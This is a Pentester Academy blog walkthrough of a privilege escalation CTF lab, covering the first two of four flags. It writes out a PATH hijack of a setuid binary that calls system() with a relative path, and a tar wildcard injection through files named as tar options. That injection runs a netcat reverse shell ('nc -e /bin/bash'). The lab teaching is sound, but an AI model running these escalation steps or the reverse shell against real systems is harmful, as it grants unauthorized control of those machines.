Privilege Escalation CTF Walkthrough: Part I

Pentester Academy
Pentester Academy Blog
5 min readOct 21, 2020

--

Try the challenge yourself here!

The instructions for the challenge say that the 4 accounts of interest are root, admin, teacher and student. As soon as the shell starts, the prompt indicates that the user logged in is student, and given the theme of the CTF is Privilege Escalation, it would seem logical that the progression would be to escalate from studentteacheradminroot.

The instructions also say that the flags are in files named FLAG1, FLAG2, FLAG3 and FLAG4. A quick search for the files might indicate which account might be the first target.

student@attackdefense:~$ find / -name FLAG* 2>/dev/null
/home/admin/FLAG2
/home/teacher/FLAG1

Hmmm… FLAG1 is in the home directory of teacher!

There is a hint to this week’s CTF in the description of the challenge…

“Remember that special care should be taken while creating an SUID binary.”

So, the first step would be to list the binaries on the system which have the suid bit set, meaning that it would execute with the effective uid of the owner of the file, rather than the user running it.

student@attackdefense:~$ find / -perm -4000 2>/dev/null
/usr/bin/read-submission
/usr/bin/sudo

sudo is the standard linux command, but read-submission seems to be something that’s a user created binary. So, the next step would be to check who the owner of this binary is.

student@attackdefense:~$ ls -l /usr/bin/read-submission
-rwsr-xr-x 1 teacher teacher 10984 Oct 10 16:17 /usr/bin/read-submission

Aha! This, if executed, would run as teacher, the first account of interest, rather than student who is currently logged in. What sort of executable is this?

student@attackdefense:~$ file /usr/bin/read-submission 
/usr/bin/read-submission: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4b021a42f0db9ddc637b4a7cb714583c5b71d405, with debug_info, not stripped

An ELF binary, with debug_info… so gdb should indicate if any commands are being executed from within the binary.

student@attackdefense:~$ gdb -q /usr/bin/read-submission 
Reading symbols from /usr/bin/read-submission...done.
(gdb) disas main
Dump of assembler code for function main:
0x00000000000006da <+0>: push %rbp
0x00000000000006db <+1>: mov %rsp,%rbp
0x00000000000006de <+4>: push %rbx
0x00000000000006df <+5>: sub $0x8,%rsp
0x00000000000006e3 <+9>: callq 0x5a0 <geteuid@plt>
0x00000000000006e8 <+14>: mov %eax,%ebx
0x00000000000006ea <+16>: callq 0x5a0 <geteuid@plt>
0x00000000000006ef <+21>: mov %ebx,%esi
0x00000000000006f1 <+23>: mov %eax,%edi
0x00000000000006f3 <+25>: callq 0x5b0 <setreuid@plt>
0x00000000000006f8 <+30>: lea 0x95(%rip),%rdi # 0x794
0x00000000000006ff <+37>: callq 0x590 <system@plt>
0x0000000000000704 <+42>: mov $0x0,%eax
0x0000000000000709 <+47>: add $0x8,%rsp
0x000000000000070d <+51>: pop %rbx
0x000000000000070e <+52>: pop %rbp
0x000000000000070f <+53>: retq
End of assembler dump.
(gdb) x/s 0x794
0x794: "read-file"

So, read-submission is using the system() library function to execute read-file (0x794). And, this is being called using a relative path! This would match the other hint in the description.

“Poor coding practices, such as the usage of relative paths, can easily be leveraged to escalate privileges.”

To confirm, where is read-file?

student@attackdefense:~$ find / -name read-file 2>/dev/null
/usr/bin/read-file

Yup, it’s in /usr/bin. In the same folder as read-submission. Excellent! Now all that’s required is to create a substitute read-file binary that starts a shell, place it in the current directory and ensure that the current directory is in the path.

student@attackdefense:~$ echo "#! /bin/bash -p" > read-file
student@attackdefense:~$ echo "/bin/bash -p" >> read-file
student@attackdefense:~$ chmod +x read-file
student@attackdefense:~$ export PATH=./:$PATH

Now, execution of read-submission will, in turn, run the new read-file which starts a shell as the user teacher.

student@attackdefense:~$ read-submission 
teacher@attackdefense:~$

Ok. The flag in teacher’s home directory will now be readable.

teacher@attackdefense:~$ cd /home/teacher/
teacher@attackdefense:/home/teacher$ ls -l
total 12
-r-------- 1 teacher teacher 33 Oct 10 16:17 FLAG1
drwxr-xr-x 1 teacher teacher 4096 Oct 10 16:17 backup
-rw------- 1 teacher teacher 49 Oct 10 10:00 student-evaluation
teacher@attackdefense:/home/teacher$ cat FLAG1
55d8210b917bae392df7bcc20353fbac

Voilà! FLAG1 done! Now to retrieve FLAG2 which is in the admin user’s home directory. Unfortunately, all the hints in the description have been exhausted. But, what else is there in the admin user’s home directory?

teacher@attackdefense:/home/teacher$ ls -l /home/admin
total 8
-r-------- 1 admin admin 33 Oct 10 16:17 FLAG2
-rw-rw-r-- 1 admin admin 168 Oct 15 16:56 teacher.tar.gz

An archive called teacher.tar.gz! Does this have anything to do with teacher?

teacher@attackdefense:/home/teacher$ cp /home/admin/teacher.tar.gz /tmp
teacher@attackdefense:/home/teacher$ cd /tmp
teacher@attackdefense:/tmp$ tar -xzvf teacher.tar.gz
schedule
teacher@attackdefense:/tmp$ cat schedule
Monday: 10:00
Tuesday: 10:00
Wednesday: 12:00
Thursday: 13:00
Friday: 09:00

So, the archive has a file called schedule. Does this exist in the teacher’s home directory? If it does, are the contents the same?

teacher@attackdefense:/home/teacher$ find . -name schedule 2>/dev/null
./backup/schedule
teacher@attackdefense:/home/teacher$ cat ./backup/schedule
Monday: 10:00
Tuesday: 10:00
Wednesday: 12:00
Thursday: 13:00
Friday: 09:00

Identical! Perhaps the files in the backup folder are being archived by a cron job and stored in the admin user’s home. Adding a file in the backup folder and waiting for the cron daemon to kick in will confirm if this is the case.

teacher@attackdefense:/home/teacher$ date > backup/file

And a minute later, the modification time of teacher.tar.gz has changed, so it’s time to check if file has been included in the archive.

teacher@attackdefense:/home/teacher$ cp /home/admin/teacher.tar.gz /tmp
teacher@attackdefense:/home/teacher$ cd /tmp
teacher@attackdefense:/tmp$ tar -xzvf teacher.tar.gz
file
schedule

It is! Since all the files in the backup folder are being archived, but not the folder itself, the cron job is probably using a wildcard in the tar operation. This means it should be possible to use the wildcard to execute any command (wildcards gone wild!) at all. The most useful command to execute in this situation would be the netcat reverse shell. So, in the backup folder, create a script that starts the netcat reverse shell.

teacher@attackdefense:/home/teacher/backup$ echo "#! /bin/bash" > shell.sh
teacher@attackdefense:/home/teacher/backup$ echo "nc -e /bin/bash 127.0.0.1 1234" >> shell.sh
teacher@attackdefense:/home/teacher/backup$ chmod +x shell.sh

And then, create the files that the wildcard-based tar command will treat as options.

teacher@attackdefense:/home/teacher/backup$ touch -- '--checkpoint-action=exec=sh shell.sh'
teacher@attackdefense:/home/teacher/backup$ touch -- '--checkpoint=1'

Now, start the netcat listener on port 1234 and wait…

teacher@attackdefense:/home/teacher/backup$ nc -vnlp 1234 
listening on [any] 1234 ...

And then… it’s on!

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 36970

Check that the user is admin and collect FLAG2!

id
uid=997(admin) gid=997(admin) groups=997(admin)
cd /home/admin
cat FLAG2
71f1d26b02d71b7c145aae6482afac9b

Righto! What’s next? root ahoy!

UPDATE: Check out part II here!

--

--